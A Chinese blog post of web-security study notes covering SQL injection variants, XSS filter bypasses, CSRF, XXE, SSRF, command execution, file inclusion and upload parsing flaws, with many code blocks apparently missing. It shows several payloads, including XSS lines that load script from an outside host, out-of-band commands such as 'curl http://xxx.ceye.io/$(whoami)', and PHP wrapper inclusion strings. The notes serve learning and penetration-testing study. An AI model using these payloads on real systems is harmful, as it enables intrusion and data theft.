Web安全基础
前言
本文主要是作备忘录用,需要详细地学习可直接看参考链接,都是笔者筛选过质量较高的文章。
SQLI
基础知识
系统函数
字符串拼接
union
把两个搜索出来的表格上下拼接到一起,要注意列数、同一列的类型要相同。
order by
limit
information_schema
一个数据库,里面存储其他数据库名、表名、字段名,mysql5.0以上才有。
文件操作
判断数据库类型
盲注
布尔盲注
本质就是,通过判断回显来爆数据,下面记录一些会用到的函数,脚本在pycharm上。
字符串截断
条件判断
字符转ascii码
时间盲注
通过延时函数的延时来判断逻辑为真还是为假,那关键还是怎么构造延时,有下面5种方法:
sleep
benchmark
第一个参数是执行函数的次数,第二个参数是要执行的函数
笛卡尔积
我的理解笛卡尔积就是让两个表排列组合(表A有3行,表B有4行,那笛卡尔积拼出来的表就3x4行),通过指数级增加的排列组合达到延时目的
注意:这个方法对表的行数有要求,有时候要么延时过短、要么过长,不好操控。
GET_LOCK
首先搞清楚这个函数干什么的,GET_LOCK用来给表加锁,防止多个线程同时操作一个表,有临界资源内味;
它的第一个参数指定要加锁的表,第二个参数设置当加锁失败时,停止等待的时间;要解锁的话用release_lock('key')
下面是测试,首先给users表加锁:
然后再开个terminal,尝试再加锁,结果失败并等待5s:
关于解锁
payload:
注意:这个利用方式延时依赖于前一条语句执行,mysql
中要求站点是使用mysql_pconnect
创造的持久链接
正则
使用长字符串+计算量大的正则来拖慢系统达到延时目的:
DNS外带
通俗来讲就是,盲注一个一个字符来爆在实际渗透过程中容易被ban,让服务器请求在线平台(URL中拼接要带的数据),再通过平台的日志来查看数据
在线接数据网站:
- ceye.io
- DNSlog
不同数据库如何让服务器访问:
这里用Mysql
的load_file()
来测试,在线平台用的ceye,在terminal打开mysql,输入语句:
一般执行时间很长就是成功了,访问网站需要时间:
ceye上查看带出来的数据,这里因为UNC格式不能有特殊字符,用hex编码防出错:
注意:
- UNC不能包含特殊字符,可以用
hex()
编码,但是UNC长度不能超过120,注意别太长 load_file()
需要数据库用户有读权限,并且要在my.ini中设置secure_file_priv=""
(默认没有这个配置)- 实际使用的时候,如果执行
payload
后一直在转圈,说明成了,一下刷出来说明寄了
报错注入
floor
- concat(),拼接字符串
- floor(),向下取整
- rand(0),有规律的0~1随机数
- group_by xxx,按xxx分组,会建立一个临时虚拟表,然后把查询结果插入其中
users表如下
id | username |
---|---|
1 | a_010 |
2 | mocker |
3 | a_010 |
4 | sketch_pl4ne |
5 | mocker |
6 | ybb |
以select username,count(*) from users group by username;
为例,分析group_by xxx的插入过程:
第一次
username | count(*) |
---|---|
a_010 | 1 |
第二次:
username | count(*) |
---|---|
a_010 | 1 |
mocker | 1 |
第三次:
username | count(*) |
---|---|
a_010 | 1+1 |
mocker | 1 |
最后:
username | count(*) |
---|---|
a_010 | 2 |
mocker | 2 |
sketch_pl4ne | 1 |
ybb | 1 |
关键点:
floor(rand(0)*2)
产生的01序列是有规律的,011011- 把
username
换成floor(rand(0)*2)
,每次查询会计算一次floor(rand(0)*2)
,插入的时候又会计算一次floor(rand(0)*2)
- 搞来搞去,把主键搞重复惹捏
第一次,查询一次得0,发现临时表中没有这个键,要插入,于是再计算一次得1,插入表中:
floor(rand(0)*2) | count(*) |
---|---|
1 | 1 |
第二次,再查询一次得1,表里有这个键,count+1:
floor(rand(0)*2) | count(*) |
---|---|
1 | 1+1 |
第三次,再查询一次得0,表里没有这个键,要插入,于是计算一次得1,插入表中,但是表中已经有键为1了捏,于是主键重复了捏。
extractvalue
首先搞清楚这个函数是干什么的,这是一个查询指定xml文件内容的函数,很像html的从一层层的标签找内容:
XML_document
是xml文档对象的名称,XPath_string
是Xpath格式的字符串,报错原因是第二个参数,它必须是Xpath格式(/xxx/xx/x),不对就会报错,并且把查询的内容显示在报错信息里:
再回头看payload就很清楚了,0x7e是'~'的ascii码,专门用来触发Xpath语法错误的,然后用concat
拼接一手即可。
updatexml
和extractvalue()
一回事,这里简单解释下这个函数:
用来将XML_document
指定的xml文件中,XPath_string
指定的内容,替换成new_value
。
利用点是还是第二个参数。
注意:
- mysql5.1.5开始使用这两个函数,在这之前的版本没法这样报错
extractvalue
和updatexml
最多显示32个字符,超过的需要使用substr()
来截断
exp
整数溢出导致的报错,exp是以e为底的指数函数,这个函数会在参数大于709时产生溢出:
首先得知道,语句执行成功会返回0,用~
取反之后变成一个很大的数,结合上面说的,就能造成整数溢出。
注意:
- 版本限制比较严格,
mysql
版本需要大于5.5但是小于5.5.53 - 报错长度限制在
mysql/my_error.c
中可以看到是512个字符
二次注入
利用已经存储进数据库的数据,被读取出来的时候拼接到sql语句中导致的注入。
例子:
注册用户名为admin'#
的账户,拼接以后变成下面这样,可以任意修改admin用户密码。
宽字节注入
我们在过滤引号的时候,通常是在它前面加反斜杠来转义,有以下三种方式:
- preg_replace
- addslashes
- mysql_real_escape_string
GBK双字节绕过
mysql在使用GBK编码的时候,两个字符变成一个汉字,那么就可以构造特殊字符%df
,吃掉用来转义的反斜杠。
堆叠注入
多条sql语句同时执行,要求使用mysqli_multi_query()
函数来允许多条语句执行;局限性较高,不过可行的话危害性也很大。
支持多语句的话,有以下两种方式注入:
直接拼接
预编译
order by 注入
order by不同于where后的注入点,不能使用union等进行注入,注入点在order by后面的参数id
,示例代码:
有三种拼接方法:
- id = (sql语句)
- id = rand(sql语句)
- id = 1 and (sql语句)
测试方法
order by 1 desc;
和order by 1 asc;
排序不同order by rand(true)/rand(false);
排序不同order by (sleep(1));
有延时,时间=1x结果集行数
报错注入
id=(报错语句)直接报错
id=1 and (报错语句)拼接报错
布尔盲注
利用rand(true)/rand(false)
返回结果不同:
延时盲注
写文件
写webshell,lines terminated by
可以指定文件每一行之间的分隔符:
limit 注入
分两种情况,前面没有order by
/ 前面有order by
。
没order by
,直接用union
联合查询
有order by
,用PROCEDURE
、analyse
,可以报错和延时注入,注入点为analyse(1,1)的第一个参数
注意:适用5.0.0< MySQL <5.6.6
XSS
我的理解:xss就是把js代码注入到页面,造成恶意的js代码执行。
分类
XSS大致可以分成三类,分别是:
-
反射型,用户提交js代码给服务器,服务器执行后返回给用户。
-
存储型,留言板,持久化
-
DOM型,与前两种的区别:不用将数据提交给服务器再返回,属于特殊的反射型xss
好处:可以绕过waf,躲避检测,比如下面
前提:JS脚本可以访问浏览器的文本对象模型
Bypass
绕过弹窗关键字过滤
一般Waf都对alert()、prompt()、confirm()、eval()等函数有过滤,我们可以通过分割函数来绕过。
-
添加空白符:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
-
添加注释:alert/*abcd*/(/xss/)、alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
-
''代替():alert'xss'
-
括号分割:(alert)(/xss/)、((alert))(/xss/)
-
使用window和top:
-
利用动态拼接特性
-
异常处理
-
eval(string) 拼接字符串
-
跳转中也可以使用字符串拼接
编码绕过
-
HTML实体编码
-
URL编码
在href和src后面,可以用JavaScript伪协议执行JS,而伪协议又是可以URL编码的,不过
javascript:
不能够编码,不然会失效。 -
Unicode编码
-
Base64编码
引入外部JS
通过在<script>
标签中引入其他字符绕过
<script/src='1.js'/~~234*234></script ~~234*234>
onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
onfocus='a=document.createElement("sc"+"ript");a.src="http://x.x.x.x";body.appendChild(a);'
<link%20rel=import%20href="2.js">
同源策略
如果两个URL的协议、域名、端口都相同,就说这两个URL同源。
目的:
- 限制不同源JS脚本对当前DOM对象的读写
- 限制不同源站点读取当前站点cookie等信息
- 限制XMLHttpRequest等方式将站点的数据发送给不同源站点
防护措施
- 设置HttpOnly,cookie只能通过HTTP方式获取,JS无法获取cookie
- 配置CSP策略,可以通过HTTP头或者meta信息定义,可禁止加载其他域的文件、禁止内联脚本和未授权脚本执行
- 设置Waf过滤或者实体化编码关键字
CSRF
介绍
CSRF(Cross Site Requet Forgery),跨站请求伪造,在用户已经登录某网站的基础上,让用户访问特定页面达到攻击效果,以用户身份发起伪造的请求。
例如:用户已经登录某网站,通过钓鱼链接或者xss让他访问特定功能(比如修改自己密码),达到伪造用户访问某些功能的效果。
防护措施
-
CSRF Token,每一个页面对应一个token,请求页面时需要带上token验证,判断是否合法
-
refer、orign两个熟悉检测(但是不一定准)
-
重要的功能设置再次输入密码
XXE
基础知识
XML,可拓展标记语言,写法类似HTML,主要用于存储和传输数据,类似的还有json。
DTD,文档类型定义,可以理解成一个写XML标签时的规范,XML外部实体注入的实体就是这里面的外部实体。
实体,类似于变量,在DTD中定义,在XML或者DTD中引用,用ENTITY
定义。
漏洞利用
读文件
有回显
无回显
读取服务器文件后,通过加载外部恶意dtd文件,带着读取了文件内容的变量访问接收平台,实现信息外带。
payload端:
VPS端:
注意:%需要编码成%
。
命令执行
使用的是expect://
协议,需要PHP安装了expect拓展,实际上能RCE的很少。
SSRF
简介
SSRF(Server-side Request Forgery),服务端请求伪造,顾名思义,是攻击者构造恶意数据传到服务器端,服务器执行并发送请求的漏洞
一般存在于服务器获取其他服务器相关信息的功能,比如图片加载、通过URL地址分享、在线翻译等功能;
典型例子是GET参数url=某某地址
漏洞函数
利用方式
- http/https访问内网Web服务
- file协议读取本地文件
- dict协议扫描端口
- gopher协议攻击内网应用(没密码mysql3306、redis6479、struts2漏洞)
- 工具:gopherus
bypass
- ip进制转换
192.168.0.1.xip.io
解析到192.169.0.1
防护措施
- 过滤返回的信息,比如请求的是图片,验证返回的是否是图片
- 限制请求的端口
- 禁用不常用的协议,比如只允许http/https协议
命令执行
函数
绕过
无回显外带
- bash反弹shell
- DNS外带数据
- HTTP外带
curl http://xxx.ceye.io/$(whoami)
wget http://xxx.ceye.io/$(whoami)
代码执行
函数
绕过
- PHP动态特性拼接
- substr()、strtr()截取字符串变形
文件包含
函数
利用方式
包含environ文件
/proc/self/environ 中会保存Web进程运行时的环境变量,我们可以在UA头部注入php代码,再包含这个文件来getshell
包含日志文件
我们可以通过构造存在恶意代码的访问,让代码保存在日志中,再包含对应日志文件来getshell,比如apache的访问日志access.log,我们先在请求的URL中插入一句话木马,访问后木马即会插入到access.log日志文件中,再包含即可getshell
包含session文件
php session的文件命名一般是sess_[phpsessid]
,另外路径可以看phpinfo或者找默认路径:
这个利用需要Session里存在可控的变量供我们写入代码,然后包含对应路径即可
常用伪协议
- php://
- php://input,将payload放入$_POST中,结合包含漏洞实现任意命令执行
- php://filter,可以编码来读取不显示的文件:?file=php://filter/read=convert.base64.encode/resource=index.php
- data://,和input类似,结合包含漏洞可以把data://流当php文件执行:?file=data://text/plain,<?php phpinfo();
- zip://,可以访问压缩包内文件,结合包含漏洞可以把zip://当作php文件执行:zip://[压缩包绝对路径]#[压缩包内文件]
- phar://,与zip类似(phar可以使用相对路径):?file=phar://myzip.zip/phpinfo.txt
文件上传
uploads-labs的bypass问得挺少的,问到见招拆招就行,重点记下面的文件解析。
文件解析漏洞
- Apache
- 多文件后缀,1.php.jpg
- .htaccess,AddType application/x-httpd-php .jpg(上传1.jpg图片马)
- Nginx
- 空字节解析,主要是因为Nginx与FastCGI处理%00空字节的方法不一致,导致解析漏洞,xxx.jpg%00.php
- .php结尾解析,因为配置问题,以.php结尾的url都会交给php解析,不管文件存不存在,/1.jpg/.php,
- IIS
- 目录解析,服务器默认把.asp、.asa目录下的文件都解析成asp文件:/xx.asp/xx.jpg
- 分号截断,服务器默认不解析分号,因此可以在.asp文件后加
;.jpg
伪装jpg文件 - 默认文件类型,xx.asa、xx.cer、xx.cdx在IIS6.0也可以当作.asp解析
- .php结尾解析,因为配置问题,以.php结尾的url都会交给php解析,不管文件存不存在,/1.jpg/.php
- .usr.ini,适用于N/A/I,只要有fastcgi都可以,auto_prepend_file=1.jpg(本目录下php文件自动包含1.jpg)
- Windows命名规则,由于Win的文件名开头和结尾都不能是 空格和点 ,如果是的话会自动去除,也可以达到绕过过滤的目的
印象深刻的CTF题
无数字字母Webshell
顾名思义,eval中不允许传入数字和字母该怎么getshell,考察的是我们怎么利用PHP的特性来绕过这个限制,比较经典的三种方法是:
-
利用异或,两个字符串异或出我们需要数字或者字母,需要用脚本fuzz
-
利用汉字取反,一些汉字通过取反操作也能变成字母,也需要fuzz
-
利用自增/减符号,我们知道字符
"A"++="B"
,所以只要构造出字符A,通过自加键运算就可以绕过限制
五字符getshell
即允许用户执行命令,但是命令长度<=5要怎么getshell,这里用到比较多Linux的知识。
- 通过反斜杠可以实现命令换行
- 通过
>x
可以创建名为x的空文件 ls -t
可以让创建的文件按照时间排序
那我们的思路是:通过新建特殊文件名的文件,让文件名最后以反斜杠结尾,再利用ls -t
排序,最后用管道符输入进文件里,再用sh命令执行命令。
渗透测试思路
参考链接
MYSQL报错注入的一点总结 - 先知社区 (aliyun.com)
MYSQL注入天书之基础知识 - lcamry - 博客园 (cnblogs.com)
利用DNS实现SQL注入带外查询(OOB) - renblog - 博客园 (cnblogs.com)
DNSlog注入 - 卿先生 - 博客园 (cnblogs.com)
MySQL时间盲注五种延时方法 (PWNHUB 非预期解) - cdxy
MySQL的多表查询(笛卡尔积原理) - ζ 简单ヾ° - 博客园 (cnblogs.com)
一篇文章带你深入理解 SQL 盲注 | K0rz3n's Blog
利用预编译来SQL注入 · 白袍的小行星 (eviladan0s.github.io)
从sqli-labs Less - 50 全面分析order by后注入 - FreeBuf网络安全行业门户
Mysql 注入之 limit 注入 - 简书 (jianshu.com)
[转载]Mysql下Limit注入方法 | 离别歌 (leavesongs.com)
绕过XSS过滤姿势总结 - zha0gongz1 - 博客园 (cnblogs.com)
PHP下的RCE总结 - 安全客,安全资讯平台 (anquanke.com)
Web安全学习笔记 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
文件包含漏洞 - zs0zrc (zszcr.github.io)
浅谈解析漏洞的利用与防范 - 安全客,安全资讯平台 (anquanke.com)
从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
__EOF__

本文链接:https://www.cnblogs.com/jasper-sec/p/15863609.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~